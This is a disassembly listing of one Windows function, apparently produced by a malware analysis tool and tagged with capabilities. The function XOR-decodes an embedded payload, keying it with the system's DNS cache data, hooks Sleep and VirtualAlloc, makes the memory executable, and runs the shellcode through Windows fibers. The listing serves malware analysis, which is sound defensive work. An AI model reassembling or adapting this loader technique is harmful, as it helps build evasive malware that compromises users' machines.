Function at 0x140001ab0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Execute shellcode via windows fibers

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x730]
sub rsp, 0x830
mov rax, qword [0x14001ced8]
xor rax, rsp
mov qword [rbp + 0x700], rax
xor edi, edi
mov qword [rbp + 0x2f0], rdi
mov qword [rbp + 0x2f8], rdi
mov qword [rbp + 0x300], rdi
lea ecx, [rdi + 0x18]
call fcn.140006e58
lea rcx, str.DNSAPI.dll
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
movdqa xmm0, xmmword [0x140012590]
lea rdx, [rbp + 0x338]
mov rcx, rax
mov dword [rbp + 0x348], 0x656c6261
movdqu xmmword [rbp + 0x338], xmm0
mov byte [rbp + 0x34c], dil
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rbx
call rax
mov rbx, qword [rbx]
test rbx, rbx
je 0x140001c1c
nop dword [rax]
mov rdx, qword [rbx + 8]
mov r8, 0xffffffffffffffff
mov qword [rbp + 0x320], rdi
mov qword [rbp + 0x328], 7
mov word [rbp + 0x310], di
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x38], 7
mov word [rsp + 0x20], di
nop word [rax + rax]
inc r8
cmp word [rdx + r8*2], di
jne 0x140001b90
lea rcx, [rsp + 0x20]
call fcn.140002910
lea rcx, [rbp + 0x310]
call fcn.140002690
movups xmm0, xmmword [rsp + 0x20]
mov rdx, qword [rbp + 0x2f8]
lea r8, [rbp + 0x310]
lea rcx, [rbp + 0x2f0]
movzx eax, word [rbx + 0x10]
movups xmm1, xmmword [rsp + 0x30]
mov dword [rbp + 0x330], eax
movups xmmword [rbp + 0x310], xmm0
movups xmmword [rbp + 0x320], xmm1
cmp qword [rbp + 0x300], rdx
je 0x140001bff
call fcn.1400024e0
add qword [rbp + 0x2f8], 0x28
jmp 0x140001c04
call fcn.140002030
mov rbx, qword [rbx]
lea rcx, [rbp + 0x310]
call fcn.140002690
test rbx, rbx
jne 0x140001b50
mov rcx, rbx
call fcn.140006e44
mov ecx, edi
lea r8, [rsp + 0x40]
lea rdx, [0x14001c040]
mov eax, ecx
and eax, 0x80000003
jge 0x140001c42
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
jne 0x140001c4f
movzx eax, byte [rdx]
mov byte [r8], al
inc r8
inc ecx
inc rdx
cmp ecx, 0xe84
jb 0x140001c32
movsd xmm0, qword [0x140012538]
call fcn.140006f20
movsd xmm1, qword [0x140012528]
subsd xmm1, xmm0
addsd xmm1, qword [0x140012500]
cvttsd2si edx, xmm1
movd xmm0, edx
cvtdq2pd xmm0, xmm0
divsd xmm0, qword [0x140012510]
addsd xmm0, qword [0x140012518]
cvttsd2si eax, xmm0
sub eax, edx
cmp dword [0x14001d938], 2
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, qword [0x140012508]
cvttsd2si r8d, xmm0
jbe 0x140001e21
mov rax, qword [rbp + 0x2f8]
cmp qword [rbp + 0x2f0], rax
je 0x140001e21
movdqa xmm4, xmmword [0x140012570]
movdqa xmm5, xmmword [0x140012560]
movsx eax, r8b
movaps xmmword [rsp + 0x820], xmm6
movdqa xmm6, xmmword [str.1111111111111111DnsGetCacheDataTBSPrintNotify.ex]
movaps xmmword [rsp + 0x810], xmm7
movdqa xmm7, xmmword [0x140012550]
movd xmm2, eax
movsx eax, dl
punpcklbw xmm2, xmm2
punpcklwd xmm2, xmm2
pshufd xmm2, xmm2, 0
movd xmm3, eax
mov rax, rdi
punpcklbw xmm3, xmm3
punpcklwd xmm3, xmm3
pshufd xmm3, xmm3, 0
movdqu xmm0, xmmword [rsp + rax + 0x40]
add edi, 0x40
movdqu xmm1, xmmword [rsp + rax + 0x50]
lea rax, [rax + 0x40]
pxor xmm0, xmm3
pxor xmm1, xmm3
pxor xmm0, xmm7
pxor xmm1, xmm7
pxor xmm0, xmm6
pxor xmm1, xmm6
pxor xmm0, xmm5
pxor xmm1, xmm5
pxor xmm0, xmm2
pxor xmm1, xmm2
pxor xmm0, xmm4
pxor xmm1, xmm4
movdqu xmmword [rbp + rax + 0x310], xmm0
movdqu xmm0, xmmword [rsp + rax + 0x20]
movdqu xmmword [rbp + rax + 0x320], xmm1
pxor xmm0, xmm3
pxor xmm0, xmm7
pxor xmm0, xmm6
pxor xmm0, xmm5
pxor xmm0, xmm2
pxor xmm0, xmm4
movdqu xmm1, xmmword [rsp + rax + 0x30]
movdqu xmmword [rbp + rax + 0x330], xmm0
pxor xmm1, xmm3
pxor xmm1, xmm7
pxor xmm1, xmm6
pxor xmm1, xmm5
pxor xmm1, xmm2
pxor xmm1, xmm4
movdqu xmmword [rbp + rax + 0x340], xmm1
cmp edi, 0x380
jb 0x140001d31
movaps xmm7, xmmword [rsp + 0x810]
movaps xmm6, xmmword [rsp + 0x820]
cmp edi, 0x3a0
jae 0x140001e21
movsxd rcx, edi
nop dword [rax + rax]
movzx eax, byte [rsp + rcx + 0x40]
lea rcx, [rcx + 1]
xor al, dl
inc edi
xor al, r8b
xor al, 0x27
mov byte [rbp + rcx + 0x34f], al
cmp edi, 0x3a0
jb 0x140001e00
lea r9, [0x14001d928]
lea r8, [0x140001700]
lea rdx, str.Sleep
lea rcx, str.kernel32.dll
call fcn.140002a80
lea r9, [0x14001d930]
lea r8, [0x140001660]
lea rdx, str.VirtualAlloc
lea rcx, str.kernel32.dll
call fcn.140002a80
lea r9, [rbp + 0x308]
mov edx, 0x3a1
mov r8d, 0x40
lea rcx, [rbp + 0x350]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
xor r8d, r8d
lea rdx, [rbp + 0x350]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_SwitchToFiber]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeleteFiber]
lea rcx, [rbp + 0x2f0]
call fcn.140002590
mov eax, 1
mov rcx, qword [rbp + 0x700]
xor rcx, rsp
call fcn.1400032f0
lea r11, [rsp + 0x830]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret